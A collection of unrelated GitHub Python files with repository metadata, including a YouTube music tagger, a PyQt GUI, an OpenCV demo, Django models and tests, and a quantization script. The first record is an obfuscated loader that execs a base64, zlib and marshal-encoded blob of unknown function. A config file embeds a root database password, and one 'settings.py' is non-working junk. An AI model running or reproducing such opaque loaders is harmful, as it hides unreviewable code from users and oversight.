import marshal,zlib,base64 exec(marshal.loads(zlib.decompress(base64.b64decode("eJztGGtTG8mxVw9AAmzAD/y+8T047DN6gXjY5hzAxjhnMCewfSUXUa20I7Sg3ZV3VgYuJqmUc69vSeVTUqlUko/5luTL5RckqcqvuG+pVOUvJN29uxLC2HeXVL5FoNFM9/R090y/ZioQfOL4/Q5+VTkCYOC/BnWAYquvQVEL+xEoRsJ+FIrRsB+DYizsx6EYD/tdUOwK+91Q7A77PVDsCfsJKCbCfhKKybDfC8VekABbfWBE...
[ "noreply@github.com" ]
noreply@github.com
42c497b1155eb45e2fea016e81f9a1f61f9f53c5
495f79d88cb35ff1f22f2acd65201799868a511b
/settings.py
9189bc43ab2bd226b6d272eeb033892c85f26f13
[]
no_license
hongdy-python/2002ems
effb36f53d009d8c1410fe613fc3017dcaee2f8c
fa5e2c006b776abb8be12c101b8ac372130d0c8a
refs/heads/master
2022-07-01T21:39:17.304851
2020-05-11T14:39:36
2020-05-11T14:39:36
263,047,414
1
0
null
null
null
null
UTF-8
Python
false
false
87
py
install def app(request): return HttpResponse('哈哈哈') install one install two
[ "2718332566@qq.com" ]
2718332566@qq.com
638547905b633a9d87d9c97d9d3e7e5f881b7dd5
d20310bb7c6b8f3c436e680d03f72c2b52762604
/you.py
0b55701df813f81666fa2532c2758972c58d4338
[]
no_license
KalleDK/MusicTube
1a6c1c8ea04bba95d2c518b6f23aa22a5269b283
5cd3844bbc9ae030de8a876a3fdaef9e2d85de84
refs/heads/master
2021-01-19T13:02:20.715160
2014-09-30T17:42:36
2014-09-30T17:42:36
24,635,201
0
0
null
2015-10-08T13:39:08
2014-09-30T11:14:53
Python
UTF-8
Python
false
false
5,135
py
#!/usr/bin/env python import sys, getopt, ConfigParser, re, youtube_dl, os, subprocess from mutagen.easymp4 import EasyMP4 from mutagen.mp4 import MP4, MP4Cover cfg = ConfigParser.ConfigParser() cfg.read('you.conf') jobs = ConfigParser.ConfigParser() jobs.read(cfg.get('SETTINGS','WORKDIR') + '/jobs/jobs') class Job:...
[ "github.com@k-moeller.dk" ]
github.com@k-moeller.dk
4fc9a690fede723223ccf1c76ffcb3b3450f65b4
e7e5e2a251c120e750c038b487bf7466911cabf4
/MainWindow.py
c69182b88e67077268b4aab2d869b9ccd511a3d7
[]
no_license
thegamingbot/Left-Recursion-Elimination
3811c184dd1b8e0f70883de43d99fecf0835bdfa
bdb69be6f58be913e3baa6904ceebc1a96d57532
refs/heads/main
2023-02-27T11:57:37.895107
2021-02-01T10:29:11
2021-02-01T10:29:11
334,910,250
0
0
null
null
null
null
UTF-8
Python
false
false
3,223
py
r"""__ __ _ __ __ / /_/ /_ ___ ____ _____ _____ ___ (_)___ ____ _/ /_ ____ / /_ / __/ __ \/ _ \/ __ `/ __ `/ __ `__ \/ / __ \/ __ `/ __ \/ __ \/ __/ / /_/ / / / __/ /_/ / /_/ / / / / / / / / / / /_/ / /_/ / /_/ / /_ \__/_/ /_/\___/\__, /\__,_/_/ /_/ /_/_...
[ "saikaushik609@gmail.com" ]
saikaushik609@gmail.com
e26bf9b5a3ee23efe18a9bd043c862057cf092f8
5cfc8438d61e01239e07199cb3021a16c8287f68
/FaceDetection/addText.py
0c86f34f2b77204dedddaf2aad65720d614278bc
[]
no_license
rhaegar453/OpenCVProjects
a4c83ec0c3b18a274f9bf7d03da2ee6951a4c503
25d803382028ab086d26b71c8152e901cb8c9f4a
refs/heads/master
2020-04-04T13:36:28.799192
2018-11-03T09:21:51
2018-11-03T09:21:51
155,968,125
0
0
null
null
null
null
UTF-8
Python
false
false
286
py
import cv2 cap=cv2.VideoCapture(0) while True: ret, frame=cap.read() cv2.putText(frame, "CognitAcademy", (100, 400), 7, 2, (0,0,255)) cv2.imshow("Image",frame) c=cv2.waitKey(1) if c==ord('q'): break cap.release() cv2.destroyAllWindows()
[ "shivarajapple@gmail.com" ]
shivarajapple@gmail.com
74a619f5a1c76b4c11db9618fa9f9f6c9aefb07d
90c7b9f27449b70dc821f5ad95d1709a8b59388a
/DataPreparation.py
13bcbc9164c9c2f56564719b707192af821b2458
[]
no_license
Vephral/Recosys_2.0
585f5a4ae32e40e5a3dd9e46512e1923755f491d
8473ae6b3d9c2c0c0d89ac3c8a578ef50eaa9b19
refs/heads/master
2023-08-21T19:56:18.488359
2021-10-16T04:36:54
2021-10-16T04:36:54
414,116,162
1
0
null
null
null
null
UTF-8
Python
false
false
7,682
py
import re import pandas as pd from random import randint from collections import Counter from urlextract import URLExtract from scipy.sparse import csr_matrix from sklearn.pipeline import Pipeline from nltk.stem.porter import PorterStemmer from sklearn.base import BaseEstimator, TransformerMixin # функция, которая пр...
[ "litkir20@gmail.com" ]
litkir20@gmail.com
b9938dc6ca7c87847ded049d3c4bc82b0293eeff
2c4a278c9ee6f5ed3eb272e4117d2b5c01b94d61
/homework/homework11/database_oper/config/config.py
d9dd3e1515dc5b7f54e33816aa6a246a93f4ebab
[]
no_license
FimnOrde/Python_study_120191080618
fc3fee00532d1f603da48428c05f54aac9e038f5
70fdeaacd10d28fa368ce99b26da87f608c0eadf
refs/heads/master
2023-05-06T10:53:52.812151
2021-06-01T14:19:11
2021-06-01T14:19:11
343,657,448
0
0
null
null
null
null
UTF-8
Python
false
false
522
py
#!/usr/bin/env python # -*- coding:utf-8 -*- # file:config.py # author:74049 # datetime:2021/5/20 14:37 # software: PyCharm ''' this is functiondescription ''' # import module your need import pymysql # 数据库连接定义 SQLALCHEMY_DATABASE_URI = "mysql+pymysql://root:648175@localhost:3306/to_do?charset=utf8" # 数据库连接池初始化的容量 PO...
[ "740490659@qq.com" ]
740490659@qq.com
354c5fc7bf184eed10a56bf9108c1b7be0631a15
6d725b8636aadf42c25047da348773e5d506d5b3
/st01.Python기초/py04연산자/py04_00_순서도.py
9c440b6560fbe8806b5fa698e5448b1b63e38651
[]
no_license
rkgml2004/ko_python1
ec3079993f7e51249d87d05443e7628b0cd66cb7
b4a52ee3e93a48792e053a4e9e5eacd07d8e4bf8
refs/heads/master
2021-01-01T10:31:49.079120
2020-03-15T09:06:59
2020-03-15T09:06:59
239,240,118
0
0
null
null
null
null
UTF-8
Python
false
false
175
py
width1 = 10 ; width2 = 10 height1 = 5 ; height2 = 7 area1 = width1 * height1 area2 = width2 * height2 totArea = area1 + area2 print(area1) print(area2) print(totArea)
[ "ko@naver.com" ]
ko@naver.com
d55ebe60b8e0bcc0a970d6ad2f7b180ce8ffd6f3
6702a014d58a70808214f4ad0ce32aef11c106fe
/manage.py
ae7fa45b3669d123f62de0eb07941bf87d9f5b4f
[]
no_license
histuckyi/Django_tutorial
cb3373521b90d3505dc20abed3642aeb9a1e32ee
3a63cfae2173e0e44701b23c2aca5f314228655f
refs/heads/master
2020-06-11T06:17:00.400223
2019-06-26T10:12:49
2019-06-26T10:12:49
193,873,436
0
0
null
null
null
null
UTF-8
Python
false
false
573
py
#!/usr/bin/env python import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'django_tutorial.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you su...
[ "histuckyi@gmail.com" ]
histuckyi@gmail.com
cbea8d30946b6fc4937f6a873b27a1c9da9087a6
d6b412b8e1297b8a1f07a8aedd8fd15dceaeec4d
/Avance_3/perfiles/models.py
8579a9288bf258e758ceda8361eae0a1741c9df0
[ "MIT" ]
permissive
DanielCardozoH13/final_python_fakeinstagram
15db021f9f19541e5effb96690887412cdd8723b
9ec0fdaf4153fb77958384f7a8ba7a6d12658a92
refs/heads/master
2020-09-21T22:28:51.601407
2019-11-30T03:31:57
2019-11-30T03:31:57
224,954,953
0
0
null
null
null
null
UTF-8
Python
false
false
2,854
py
from django.db import models from django.contrib.auth.models import User class Perfil(models.Model): SEXO_STATUS = ( ('m', 'Mujer'), ('h', 'Hombre'), ('n', 'No_definido'), ) user = models.OneToOneField(User, on_delete=models.CASCADE, blank=True, null=True) biografia = models.TextField(m...
[ "infoafuro@gmail.com" ]
infoafuro@gmail.com
c3753eb886e7d3b67a34cb3ed87c9ffbe1e58cbf
47c1bd948c2dd031a2aeeec2a28f2c4bfefd301d
/Python/Happy Ladybugs.py
d3f6ab820c0be9bc382d6390f3cef853eaa993f4
[]
no_license
samarthsewlani/CodeTown
4b68e9689efdfb89784f5309c9efaa949e1775b6
cf4c991525733caa5177915a3ef85a60692ed91f
refs/heads/master
2022-04-15T03:13:00.125587
2020-04-11T14:11:26
2020-04-11T14:11:26
null
0
0
null
null
null
null
UTF-8
Python
false
false
873
py
#https://www.hackerrank.com/challenges/happy-ladybugs/problem for _ in range(int(input())): n=int(input()) stringy=input() setlist=dict() for i in stringy: if i in setlist: setlist[i]+=1 else: setlist[i]=1 flag=True for i in setlist: if i=="_": ...
[ "sewlanis2605@gmail.com" ]
sewlanis2605@gmail.com
76359312a5bbde79e5804a8ff7620d844d4189e4
ebacefb163f31b3dd43f15ebdc91c5b76f6b703b
/lib/github/tasks.py
c6dd31a374dbbdae389ee01476928217efdc4fde
[ "MIT" ]
permissive
xyzlat/django-htk
a0180d3104c7e716cb07e075408acc14702abbc2
051256698ce7a593a8a9365c36ad9d265c6e0d80
refs/heads/master
2023-04-29T18:48:23.205203
2021-05-22T04:15:13
2021-05-22T04:15:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,373
py
# HTK Imports from htk.constants.time import ( BUSINESS_HOURS_START, ISOWEEKDAY_WEEKDAYS, MORNING_HOURS_END, ) from htk.tasks import BaseTask from htk.utils.text.transformers import get_symbols # isort: off class GitHubReminderTask(BaseTask): def __init__(self): from htk.lib.github.cachekeys...
[ "hello@jontsai.com" ]
hello@jontsai.com
0a12f237fefd24c577af40a87ddbc6d2c2057358
edc9328b9cd1f45a35ca1bbe1033a0708fb3bd55
/utility/dataplot.py
2494cce8c43c35b625247da49999a5c09be1a9cd
[]
no_license
shentong-hbu/3DVnet-Segment
39f819d725da954115d862f5d7d96962a60efd40
1996e7d3e4e6250282152db8b201c5db924c8302
refs/heads/master
2022-12-25T19:05:23.013021
2020-09-18T09:40:41
2020-09-18T09:40:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
17,960
py
import matplotlib.pyplot as plt import numpy as np import os ''' x_data = np.linspace(1, 10, 10) y_data = np.array([0.9345, 0.9577, 0.9631, 0.9406, 0.9588, 0.9455, 0.9717, 0.9614, 0.9608, 0.9478]) plt.title("Result of left lung segmentation with AI") plt.xlabel('patient id') plt.ylabel('dice value') plt.xticks(x_data...
[ "ermu114@sina.com" ]
ermu114@sina.com
afd1bdf92b040e94918999c3274f0205ee202781
2a8afb451232de52c313a65465e132956e139ce4
/tools/bfp_quant.py
bbd437e2f503a644f6459ab3de8adfd903055fb2
[ "MIT" ]
permissive
os-hxfan/Static_BFP_CNN
d191625579544e725562e3377d2a78d7ab409c0d
329bbee9538f1dc5bbbe57f6c50dfed64ab603b5
refs/heads/master
2021-06-14T00:42:01.148199
2021-06-09T15:02:05
2021-06-09T15:02:05
203,966,897
31
1
null
null
null
null
UTF-8
Python
false
false
17,545
py
# Internal from models import model_factory from lib import Stat_Collector from lib import Utils from models import inceptionv4 #from models import bfp_modules # The Basic Library import argparse import os import logging import numpy as np import sys import copy import math import time logger = logging.getLogger() l...
[ "hongxiang.fan@corerain.com" ]
hongxiang.fan@corerain.com
f43e90ece87b981658ad78ea295b440168e4977a
be88e8bf6ddef0fce4adcd810328521b031a82ab
/vie_quotidienne/tests/tests_marche.py
cb81eaa20ded57d00853319df6d16dc66266e794
[]
no_license
shobu13/trans_website
4fe55195c0c5670e438d7a71fcfb8fcbee7d43fc
37ae8b7624e687ace7dfdf33ed95e0f40469da49
refs/heads/master
2021-07-25T22:49:41.165454
2020-04-15T12:18:32
2020-04-15T12:18:32
154,515,532
0
0
null
2020-04-15T12:18:33
2018-10-24T14:27:16
Python
UTF-8
Python
false
false
4,902
py
import json from django.forms import model_to_dict import datetime from django.urls import reverse from rest_framework import status from rest_framework.test import APIClient, APITestCase from django.contrib.auth.models import User from vie_quotidienne.models import Marche, MarcheHoraire from vie_quotidienne.seria...
[ "shobu13@hotmail.fr" ]
shobu13@hotmail.fr
fcaccd3bf997e4178ad0a6a92d0e8fd872093ed1
e838ea567fe5216bd83b72d5cc549363a666ac3d
/registry/serializers/data_category.py
1513f6a2ef2eb029d60b448425a25df85bfe014e
[]
no_license
iuriramos/swim-registry
f7ffee9a57b92021e7066820249092d1558a944d
7c71d294b5aa7cb40e01ed559e2fcb81d2e1f43a
refs/heads/master
2021-09-13T20:22:29.624535
2018-05-03T21:30:26
2018-05-03T21:30:26
85,312,675
0
0
null
null
null
null
UTF-8
Python
false
false
396
py
from registry.models.data_category import DataCategory from rest_framework import serializers, viewsets class DataCategorySerializer(serializers.HyperlinkedModelSerializer): class Meta: model = DataCategory fields = ('pk', 'name', ) class DataCategoryViewSet(viewsets.ModelViewSet): queryset ...
[ "iuri.srb@gmail.com" ]
iuri.srb@gmail.com
606a1c36284b307e8e10350a7f3d6604f7c97301
eac611ff1a3910aae25e06549e965b2743dd5b93
/Other/import_rule/test_import_1/B/func_x.py
14a77411248eba011386781d739981925d95dee1
[]
no_license
jizhi/jizhipy
30cb7032fb9ad7ee8e11498d468d2b125ac8cb42
b49777105a76b5ae03555a9f93f116454c8245a9
refs/heads/master
2020-06-05T14:51:51.165710
2019-06-18T15:00:49
2019-06-18T15:00:49
192,464,118
1
0
null
null
null
null
UTF-8
Python
false
false
77
py
def func_x(): import sklearn print('import test_import.B.func_x.sklearn')
[ "huang2qizhi@qq.com" ]
huang2qizhi@qq.com
fcfd7226adef26df24b66561457e9f9ff70af49f
d90205488b438a4bae80763e1584914c3257625d
/ch04/train_neuralnet.py
ba759bce7031ff64f8067d454b27132c4649444b
[]
no_license
jianfengMan/my-deep-learning-from-scratch
7c40a7875f76ed082e5d655787ab3418562287dc
c47fa0a492729f1d05c2e0a2c20668fadf373b68
refs/heads/master
2020-05-16T02:17:10.258091
2019-05-04T07:13:14
2019-05-04T07:13:14
182,625,300
1
0
null
null
null
null
UTF-8
Python
false
false
1,754
py
# coding: utf-8 import sys, os sys.path.append(os.pardir) # 为了导入父目录的文件而进行的设定 from two_layer_net import TwoLayerNet import numpy as np import matplotlib.pyplot as plt from dataset.mnist import load_mnist import matplotlib as mpl mpl.use('TkAgg') # 读入数据 (x_train, t_train), (x_test, t_test) = load_mnist(normalize=Tr...
[ "1762639951@qq.com" ]
1762639951@qq.com
084e8d38f2a41afdbacc05279be12f974947234b
b72f9d9f0769265cdea2b8caff145af9c532ea09
/rcl_contest_2020_final/a.py
8f28af7d879a8f73eacf82b2b20564e09dc9ba94
[]
no_license
ritzcr/AtCoder
3335fefa8fb1989a0f9da80fe6d0902b46aa2d1f
15097b0c2568ace653e5080d789047531e50edde
refs/heads/master
2021-02-12T19:16:41.757421
2020-07-05T06:30:57
2020-07-05T06:30:57
244,620,726
0
0
null
null
null
null
UTF-8
Python
false
false
251
py
N, M = map(int, input().split()) dice = [1, 2, 3, 4, 5, 6] dice[0] = 6 output = " ".join(map(str, dice)) print(output) for _ in range(M): d, v, x = map(int, input().split()) dice[1] = 6 output = " ".join(map(str, dice)) print(output)
[ "ritz@freex.ltd" ]
ritz@freex.ltd
93c1b4895d989ccf1bdba30d1be86f639f69edc1
88621e2cee2cfc30b9f291380c4ce3c62db84eb8
/scripts/old/analyze/when-does-ADP-fall-off.py
0c350132968a6771d29b5907a5d4da698ef98fb5
[]
no_license
choderalab/AURKA_UMN
0ec1c91cc6415b13c61cfc4f5bc2277c02fceb94
93257dc5f73a4ed7ba12685cbf02d3a0335755c5
refs/heads/master
2021-05-03T15:41:57.327190
2017-10-03T14:21:56
2017-10-03T14:21:56
42,941,105
0
0
null
2017-12-12T23:11:52
2015-09-22T15:02:36
Jupyter Notebook
UTF-8
Python
false
false
1,940
py
import numpy as np import sys import math import os local_path = os.path.dirname(os.path.realpath(__file__)) projects = ['11410','11411','11418'] projects = ['11410','11411'] projects = ['11414','11418'] project_dirs = { '11410':'%s/../output-1OL5' % local_path, '11411':'%s/../output-1OL7' % local_path, '...
[ "jul.marie.behr@gmail.com" ]
jul.marie.behr@gmail.com
4ca228b04fa2541f3f1a88eae3d312ecef09f5bd
b4b390cba9120693fb8825bb38c240ae995765fa
/store/migrations/0010_auto_20210106_1737.py
82ea3a0869cdcca534ab2a5bb91972d72c895893
[]
no_license
hiteshmishra5/E-Commerce
737c91447ed4ebb058feeb11835fa6b2ffad2f24
f14ed439c05976748a09f94b4b189397f209904e
refs/heads/master
2023-06-25T07:47:15.218097
2021-07-27T08:48:52
2021-07-27T08:48:52
389,910,788
0
0
null
null
null
null
UTF-8
Python
false
false
403
py
# Generated by Django 3.1.3 on 2021-01-06 17:37 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('store', '0009_category_logo'), ] operations = [ migrations.AlterField( model_name='category', name='logo', ...
[ "hitesh.tech99@gmail.com" ]
hitesh.tech99@gmail.com
ac0120c43c6326e450fd68e0805add986b050273
bec01bf0da2edf11b0d0c62671f175fa4a6db60f
/taskmanagment/migrations/0008_auto_20190227_0146.py
cf342870ccf7a46c3b1252eb2b2ee48fdb7eb064
[]
no_license
Mehtal/task-managment
4734bd49f64881734348591a99cb4f489fbb0ddf
4c4c212ad0d882e89492a780dc86eefecb154c21
refs/heads/master
2020-04-20T10:46:05.847984
2019-03-11T20:52:17
2019-03-11T20:52:17
168,798,150
2
0
null
null
null
null
UTF-8
Python
false
false
1,463
py
# Generated by Django 2.1.5 on 2019-02-27 01:46 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('taskmanagment', '0007_remove_tool_project'), ] operations = [ migrations.CreateModel( name='Obs...
[ "mehtalkhalil@gmail.com" ]
mehtalkhalil@gmail.com
140d8e1f3ce7b4903aeb3d8b79edb2d7cc21bdac
f0a5c4ce1a1f74bd73fe0eb35a08385c8b4070e6
/Python/level1/turtleprg2.py
85efd9fc911c25cc9eb297637ec3746999196ef7
[]
no_license
pumpuidev/referencia
613fe4551f81459db63abed7f9b02c9f8efe1ddc
769789e3b3f126750c4bda6daa211f9d023e64f5
refs/heads/main
2023-03-02T05:21:02.883613
2021-02-15T01:49:24
2021-02-15T01:49:24
305,376,917
0
0
null
null
null
null
ISO-8859-2
Python
false
false
1,082
py
#! /usr/bin/env python # -*- coding: iso-8859-2 -*- from turtle import * from pascal import pascal delay(1) def negyzet(meret, szin): "megadott méretű és színű négyzetet rajzoló függvény" color(szin) for i in range(4): forward(meret) right(90) def szoveges_negyzet(string, meret, szin): ...
[ "noreply@github.com" ]
noreply@github.com
6692d228759a519f5b381fe33595b8304c74a13e
4f785a421fc08bc6df71f77277d2759aa7565493
/checkApiGatewayCompliance.py
62073a4762dcb391b48a3cc53cc0723dd6805d3f
[]
no_license
mayankkumaryadav06/checkApiGatewayCompliance
9319ff13b5917af1a1f297097a2fb68253b4a573
03b7fa4227eb99d9cc83371cde7729008ac44d3a
refs/heads/master
2021-02-16T11:26:12.542257
2020-03-04T21:18:02
2020-03-04T21:18:02
245,000,438
0
0
null
null
null
null
UTF-8
Python
false
false
1,067
py
import json import boto3 waf_client = boto3.client('wafv2') def lambda_handler(event, context): web_acl_to_attach_by_default = "web_acl_arn" messageTye = event['detail']['messageTye'] resourceType = event['detail']['configurationItem']['resourceType'] if "AWS:ApiGateway" in resourceType : ...
[ "noreply@github.com" ]
noreply@github.com
db0629986760d348f976c77c3bf36d33ffb9ef6e
1a324f9aefc9cc6f858effea02501f0885611c28
/2048 game/chart.py
d28083d9a55095d0c88ec4747d41bac7b59d456b
[]
no_license
AmamiRena/py
72c55180209b1c18a5484fa37f4b4d6abac746f9
0f9f3b05fed09b2fff329a103426dde718f798cf
refs/heads/master
2021-10-25T17:30:19.419609
2021-10-22T01:26:08
2021-10-22T01:26:08
143,627,993
0
0
null
null
null
null
UTF-8
Python
false
false
527
py
from graphviz import Digraph, Source chart=Digraph('2048',format='png') chart.node('A','init') chart.node('B','gamefield') chart.node('C','win') chart.node('D','gameover') chart.node('E','exit') chart.edge('A','B','init') chart.edge('B','A','restart') chart.edge('C','A','restart') chart.edge('D','A','restart') chart.e...
[ "mayuzumi159@gmail.com" ]
mayuzumi159@gmail.com
019d0099a757ba400b6c6c8ff733026d56b60154
79e5a3733b261f11cf13526460c39d3d722744dd
/strawberry/types/datetime.py
7abbf73d51ab32343b67f6c505b81f80fa1f7cc7
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
yngvarsh/strawberry
73cc0e0a862dc4796549f925ac167ec6768d5ade
96b8c701caaa0510e7118928e9e3c00d4ef5a05c
refs/heads/master
2020-12-11T13:13:57.579007
2020-01-15T11:50:17
2020-01-15T11:50:17
233,857,471
0
0
MIT
2020-01-14T14:17:58
2020-01-14T14:17:57
null
UTF-8
Python
false
false
663
py
import datetime import aniso8601 from ..custom_scalar import scalar def _serialize_isoformatted(value): return value.isoformat() Date = scalar( datetime.date, name="Date", description="Date (isoformat)", serialize=_serialize_isoformatted, parse_value=aniso8601.parse_date, ) DateTime = scal...
[ "patrick.arminio@gmail.com" ]
patrick.arminio@gmail.com
1c01534019766a51debc3e2bef7d984af68df557
d09ba2a65130d85bbad5fd05d71538d656f84d9d
/test.py
9d1d4b477ebb08e37bb4ad115342e88f161c3ab0
[]
no_license
XilefG/Speedclick
38ec2f71d729f1d42ad82c8402d6e6c4dea85879
5d61217915da73875d12950b71f809f68fb077e1
refs/heads/master
2021-04-29T09:03:27.447760
2017-08-22T16:25:53
2017-08-22T16:25:53
77,638,667
0
0
null
2017-08-22T16:15:23
2016-12-29T20:40:26
Python
UTF-8
Python
false
false
393
py
x = 1 x2 = 1.55 y = "String" z = True a = [1,4, x] b = tuple(a) c = set(b) d = dict() d['hi'] = 1 d[''] = 0 # d = {'hi': 1, '': 0} def thingy(a, b): print(a+b) somethingelse = 3 if somethingelse == 3: print(2) elif somethingelse == 2: print(3) else: pass for i in [1,2,3,4,5,6,9]: n = i**2 pri...
[ "Felix Gaul" ]
Felix Gaul
fd14b22d1eb7eb9c20a0853ea28ec59c70fc8365
8e0ccc830b5d36128be9f2c24bfa4db9bfc6a4f0
/analyzer/translate.py
77325f8378414ee012664bfb6e7570279fc6972e
[]
no_license
glaucovitor/analise_sentimentos
2b89e8b92f71505dc6344961e2d1f83fc571ae5d
67ca347444569a8457c0b38e383349cc70d79598
refs/heads/master
2022-12-18T19:56:44.371413
2020-08-11T22:32:43
2020-08-11T22:33:16
298,633,680
1
0
null
null
null
null
UTF-8
Python
false
false
257
py
import goslate import concurrent.futures def concurrent_translate(data): executor = concurrent.futures.ThreadPoolExecutor(max_workers=200) gs = goslate.Goslate(executor=executor) translated = gs.translate(data, 'en') return list(translated)
[ "icarooliv2@gmail.com" ]
icarooliv2@gmail.com
bacb702adf0fd1d047d9ffe824ab720ad30d31ad
2eaade99a8073faaf68c46eac48d8826b351fe17
/main.py
0ae913ee6b2c31ee876af199db61f9af08dd795d
[]
no_license
StevenMaharaj/traderv1
30ebb6f0242d986aace29ebc6e956bd78e68f02b
a1edab9722c2735302126d23ad1c9cd107152635
refs/heads/main
2023-07-22T21:56:37.266832
2021-09-08T05:34:50
2021-09-08T05:34:50
400,120,846
0
0
null
null
null
null
UTF-8
Python
false
false
1,381
py
from executionHandlers.execution import ExecutionHandler from queue import Queue from threading import Thread from dataHandlers.deribit import DeribitTOB import sys from event import Event, SignalEvent from accountHandlers.deribit import DeribitOrder from executionHandlers.deribit import DeribitExecutionHandler from da...
[ "=" ]
=
b2952a78aa500f3764bf02383d17082d385cc20c
55e4914a9be396e76a464c19b2576571b337ee8c
/Day_09/Level 1.py
a355db4ed358202e0793b8ec2436689d5efac50d
[]
no_license
Mushinako/Advent-of-Code-2020
aa8d3fec5adc8477c3bb8cbef163bf1f9258fea9
bcca26134e0764f965a8486e67f61894dde3ba35
refs/heads/main
2023-02-06T21:39:20.063026
2020-12-28T03:24:49
2020-12-28T03:24:49
317,342,314
0
0
null
null
null
null
UTF-8
Python
false
false
733
py
#!/usr/bin/env python3 """ Solution to part 1 """ from collections import deque from pathlib import Path from aoc_io.aoc_io import DATA_FILENAME, submit_output CURRENT_DIR = Path(__file__).resolve().parent INPUT_FILE_PATH = CURRENT_DIR / DATA_FILENAME # Read input with INPUT_FILE_PATH.open("r") as input_fp: nums...
[ "8977737+Mushinako@users.noreply.github.com" ]
8977737+Mushinako@users.noreply.github.com